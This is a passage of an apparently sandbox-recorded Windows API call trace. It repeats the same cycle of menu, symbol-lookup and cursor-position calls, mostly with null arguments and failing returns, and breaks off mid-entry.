[0185.162] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.162] GetLastError () returned 0x579 [0185.162] SetLastError (dwErrCode=0x579) [0185.162] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.162] SymCleanup (hProcess=0x0) returned 0 [0185.162] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.162] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.162] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.162] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.162] GetLastError () returned 0x579 [0185.162] SetLastError (dwErrCode=0x579) [0185.162] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.162] SymCleanup (hProcess=0x0) returned 0 [0185.162] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.162] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.162] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.162] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.162] GetLastError () returned 0x579 [0185.162] SetLastError (dwErrCode=0x579) [0185.163] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.163] SymCleanup (hProcess=0x0) returned 0 [0185.163] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.163] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.163] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.163] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.163] GetLastError () returned 0x579 [0185.163] SetLastError (dwErrCode=0x579) [0185.163] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.163] SymCleanup (hProcess=0x0) returned 0 [0185.163] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.163] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.163] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.163] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=917, param_4=372, param_5=0x0, param_6=0x0) returned 0 [0185.163] GetLastError () returned 0x579 [0185.163] SetLastError (dwErrCode=0x579) [0185.163] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.163] SymCleanup (hProcess=0x0) returned 0 [0185.163] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.163] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.163] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.163] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.163] GetLastError () returned 0x579 [0185.164] SetLastError (dwErrCode=0x579) [0185.164] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.164] SymCleanup (hProcess=0x0) returned 0 [0185.164] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.164] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.164] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.164] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.164] GetLastError () returned 0x579 [0185.164] SetLastError (dwErrCode=0x579) [0185.164] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.164] SymCleanup (hProcess=0x0) returned 0 [0185.164] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.164] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.164] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.164] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.164] GetLastError () returned 0x579 [0185.164] SetLastError (dwErrCode=0x579) [0185.164] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.164] SymCleanup (hProcess=0x0) returned 0 [0185.164] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.164] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.164] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.164] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.164] GetLastError () returned 0x579 [0185.165] SetLastError (dwErrCode=0x579) [0185.165] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.165] SymCleanup (hProcess=0x0) returned 0 [0185.165] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.165] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.165] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.165] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=380, param_4=127, param_5=0x0, param_6=0x0) returned 0 [0185.165] GetLastError () returned 0x579 [0185.165] SetLastError (dwErrCode=0x579) [0185.165] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.165] SymCleanup (hProcess=0x0) returned 0 [0185.165] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.165] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.165] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.165] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.165] GetLastError () returned 0x579 [0185.165] SetLastError (dwErrCode=0x579) [0185.165] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.165] SymCleanup (hProcess=0x0) returned 0 [0185.165] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.165] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.165] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.165] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.165] GetLastError () returned 0x579 [0185.165] SetLastError (dwErrCode=0x579) [0185.166] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.166] SymCleanup (hProcess=0x0) returned 0 [0185.166] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.166] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.166] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.166] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.166] GetLastError () returned 0x579 [0185.166] SetLastError (dwErrCode=0x579) [0185.166] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.166] SymCleanup (hProcess=0x0) returned 0 [0185.166] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.166] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.166] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.166] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.166] GetLastError () returned 0x579 [0185.166] SetLastError (dwErrCode=0x579) [0185.166] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.166] SymCleanup (hProcess=0x0) returned 0 [0185.166] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.166] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.166] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.166] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=7, param_4=723, param_5=0x0, param_6=0x0) returned 0 [0185.166] GetLastError () returned 0x579 [0185.166] SetLastError (dwErrCode=0x579) [0185.167] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.167] SymCleanup (hProcess=0x0) returned 0 [0185.167] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.167] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.167] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.167] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.167] GetLastError () returned 0x579 [0185.167] SetLastError (dwErrCode=0x579) [0185.167] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.167] SymCleanup (hProcess=0x0) returned 0 [0185.167] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.167] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.167] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.167] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.167] GetLastError () returned 0x579 [0185.167] SetLastError (dwErrCode=0x579) [0185.167] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.167] SymCleanup (hProcess=0x0) returned 0 [0185.167] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.167] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.167] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.167] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.167] GetLastError () returned 0x579 [0185.167] SetLastError (dwErrCode=0x579) [0185.167] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.168] SymCleanup (hProcess=0x0) returned 0 [0185.168] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.168] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.168] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.168] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.168] GetLastError () returned 0x579 [0185.168] SetLastError (dwErrCode=0x579) [0185.168] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.168] SymCleanup (hProcess=0x0) returned 0 [0185.168] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.168] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.168] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.168] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1183, param_4=317, param_5=0x0, param_6=0x0) returned 0 [0185.168] GetLastError () returned 0x579 [0185.168] SetLastError (dwErrCode=0x579) [0185.168] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.168] SymCleanup (hProcess=0x0) returned 0 [0185.168] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.168] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.168] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.168] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.168] GetLastError () returned 0x579 [0185.168] SetLastError (dwErrCode=0x579) [0185.168] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.169] SymCleanup (hProcess=0x0) returned 0 [0185.169] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.169] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.169] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.169] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.169] GetLastError () returned 0x579 [0185.169] SetLastError (dwErrCode=0x579) [0185.169] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.169] SymCleanup (hProcess=0x0) returned 0 [0185.169] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.169] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.169] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.169] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.169] GetLastError () returned 0x579 [0185.169] SetLastError (dwErrCode=0x579) [0185.169] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.169] SymCleanup (hProcess=0x0) returned 0 [0185.169] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.169] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.169] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.169] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.169] GetLastError () returned 0x579 [0185.169] SetLastError (dwErrCode=0x579) [0185.169] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.169] SymCleanup (hProcess=0x0) returned 0 [0185.170] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.170] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.170] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.170] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=582, param_4=636, param_5=0x0, param_6=0x0) returned 0 [0185.170] GetLastError () returned 0x579 [0185.170] SetLastError (dwErrCode=0x579) [0185.170] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.170] SymCleanup (hProcess=0x0) returned 0 [0185.170] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.170] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.170] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.170] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.170] GetLastError () returned 0x579 [0185.170] SetLastError (dwErrCode=0x579) [0185.170] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.170] SymCleanup (hProcess=0x0) returned 0 [0185.170] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.170] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.170] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.170] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.170] GetLastError () returned 0x579 [0185.170] SetLastError (dwErrCode=0x579) [0185.170] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.170] SymCleanup (hProcess=0x0) returned 0 [0185.171] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.171] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.171] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.171] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.171] GetLastError () returned 0x579 [0185.171] SetLastError (dwErrCode=0x579) [0185.171] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.171] SymCleanup (hProcess=0x0) returned 0 [0185.171] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.171] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.171] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.171] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.171] GetLastError () returned 0x579 [0185.171] SetLastError (dwErrCode=0x579) [0185.171] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.171] SymCleanup (hProcess=0x0) returned 0 [0185.171] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.171] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.171] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.171] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=506, param_4=851, param_5=0x0, param_6=0x0) returned 0 [0185.171] GetLastError () returned 0x579 [0185.171] SetLastError (dwErrCode=0x579) [0185.171] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.171] SymCleanup (hProcess=0x0) returned 0 [0185.172] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.172] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.172] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.172] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.172] GetLastError () returned 0x579 [0185.172] SetLastError (dwErrCode=0x579) [0185.172] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.172] SymCleanup (hProcess=0x0) returned 0 [0185.172] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.172] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.172] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.172] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.172] GetLastError () returned 0x579 [0185.172] SetLastError (dwErrCode=0x579) [0185.172] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.172] SymCleanup (hProcess=0x0) returned 0 [0185.172] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.172] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.172] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.172] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.172] GetLastError () returned 0x579 [0185.172] SetLastError (dwErrCode=0x579) [0185.172] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.172] SymCleanup (hProcess=0x0) returned 0 [0185.173] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.173] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.173] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.173] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.173] GetLastError () returned 0x579 [0185.173] SetLastError (dwErrCode=0x579) [0185.173] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.173] SymCleanup (hProcess=0x0) returned 0 [0185.173] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.173] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.173] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.173] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1163, param_4=265, param_5=0x0, param_6=0x0) returned 0 [0185.173] GetLastError () returned 0x579 [0185.173] SetLastError (dwErrCode=0x579) [0185.173] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.173] SymCleanup (hProcess=0x0) returned 0 [0185.173] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.173] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.173] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.173] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.173] GetLastError () returned 0x579 [0185.173] SetLastError (dwErrCode=0x579) [0185.173] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, 